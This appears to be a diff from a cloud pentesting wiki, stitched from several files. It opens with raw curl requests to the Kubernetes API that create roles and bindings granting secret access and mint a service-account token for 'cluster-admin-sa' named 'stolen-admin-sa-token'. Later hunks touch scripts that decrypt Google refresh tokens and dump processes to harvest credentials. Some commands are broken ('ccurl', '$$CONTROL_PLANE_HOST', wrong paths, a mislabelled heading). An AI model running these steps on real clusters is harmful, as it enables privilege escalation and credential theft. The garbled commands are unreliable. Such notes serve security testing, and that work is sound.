-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Content-Length: 35' -H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/serviceaccounts/$SA_NAME"
```
### Create a Role
```bash
CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"
curl --path-as-is -i -s -k -X $'POST' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Content-Type: application/json' \
-H $'Accept: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Content-Length: 203' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"apiVersion\":\"rbac.authorization.k8s.io/v1\",\"kind\":\"Role\",\"metadata\":{\"name\":\"secrets-manager-role\",\"namespace\":\"default\"},\"rules\":[{\"apiGroups\":[\"\"],\"resources\":[\"secrets\"],\"verbs\":[\"get\",\"create\"]}]}\x0a' \
"https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/roles?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
```
### Delete a Role
```bash
CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"
ROLE_NAME=""
curl --path-as-is -i -s -k -X $'DELETE' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'Content-Length: 35' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
"https://$$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/roles/$ROLE_NAME"
```
### Create a Role Binding
```bash
CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"
curl --path-as-is -i -s -k -X $'POST' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Content-Length: 816' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"apiVersion\":\"rbac.authorization.k8s.io/v1\",\"kind\":\"RoleBinding\",\"metadata\":{\"name\":\"secrets-manager-role-binding\",\"namespace\":\"default\"},\"roleRef\":{\"apiGroup\":\"rbac.authorization.k8s.io\",\"kind\":\"Role\",\"name\":\"secrets-manager-role\"},\"subjects\":[{\"apiGroup\":\"\",\"kind\":\"ServiceAccount\",\"name\":\"secrets-manager-sa\",\"namespace\":\"default\"}]}\x0a' \
"https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/$NAMESPACE/default/rolebindings?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
```
### Delete a Role Binding
```bash
CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"
ROLE_BINDING_NAME=""
curl --path-as-is -i -s -k -X $'DELETE' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'Content-Length: 35' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
"https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/rolebindings/$ROLE_BINDING_NAME"
```
### Delete a Secret
```bash
CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"
curl --path-as-is -i -s -k -X $'POST' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'Content-Length: 219' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"Secret\",\"metadata\":{\"annotations\":{\"kubernetes.io/service-account.name\":\"cluster-admin-sa\"},\"name\":\"stolen-admin-sa-token\",\"namespace\":\"default\"},\"type\":\"kubernetes.io/service-account-token\"}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/$NAMESPACE/default/secrets?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
```
### Delete a Secret
```bash
CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"
SECRET_NAME=""
ccurl --path-as-is -i -s -k -X $'DELETE' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Content-Type: application/json' \
-H $'Accept: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Content-Length: 35' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/secrets/$SECRET_NAME"
```
## References
{{#ref}}

View File

@@ -397,7 +397,7 @@ storage:
Discover the most privileged users in the scanned AWS or Azure environment, including the AWS Shadow Admins. It uses powershell.
```powershell
```bash
Import-Module .\SkyArk.ps1 -force
Start-AzureStealth

View File

@@ -57,7 +57,7 @@ Note how the **refresh** **token** and the **password** of the user are **encryp
<summary>Powershell script to decrypt the refresh token and the password</summary>
```powershell
```bash
# Paths and key names
$xmlConfigPath = "C:\Users\c\Documents\conf.xml"
$regPath = "SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\util"
@@ -167,7 +167,7 @@ I guess you could also find the AD configured credentials.
<summary>Dump config-manager.exe processes and search tokens</summary>
```powershell
```bash
# Define paths for Procdump and Strings utilities
$procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe"
$stringsPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\strings.exe"

View File

@@ -43,7 +43,7 @@ Moreover adding the keys `enable_verbose_logging = 1` and `log_file_path = C:\Pu
It's possible to check if GCPW is installed in a device checking if the following process exist or if the following registry keys exist:
```powershell
```bash
# Check process gcpw_extension.exe
if (Get-Process -Name "gcpw_extension" -ErrorAction SilentlyContinue) {
Write-Output "The process gcpw_xtension.exe is running."
@@ -116,7 +116,7 @@ Inside the registry **`HKCU:\SOFTWARE\Google\Accounts`** it might be possible to
<summary>Get <strong><code>HKCU:\SOFTWARE\Google\Accounts</code></strong> data and decrypt refresh_tokens</summary>
```powershell
```bash
# Import required namespace for decryption
Add-Type -AssemblyName System.Security
@@ -198,7 +198,7 @@ The following script can be used to **dump** every **Chrome** process using `pro
<summary>Dump Chrome processes and search tokens</summary>
```powershell
```bash
# Define paths for Procdump and Strings utilities
$procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe"
$stringsPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\strings.exe"

View File

@@ -53,7 +53,7 @@ I guess you could also find the AD configured credentials.
<summary>Dump <code>PasswordSync.exe</code> and the <code>password_sync_service.exe</code> processes and search tokens</summary>
```powershell
```bash
# Define paths for Procdump and Strings utilities
$procdumpPath = "C:\Users\carlos-local\Downloads\SysinternalsSuite\procdump.exe"
$stringsPath = "C:\Users\carlos-local\Downloads\SysinternalsSuite\strings.exe"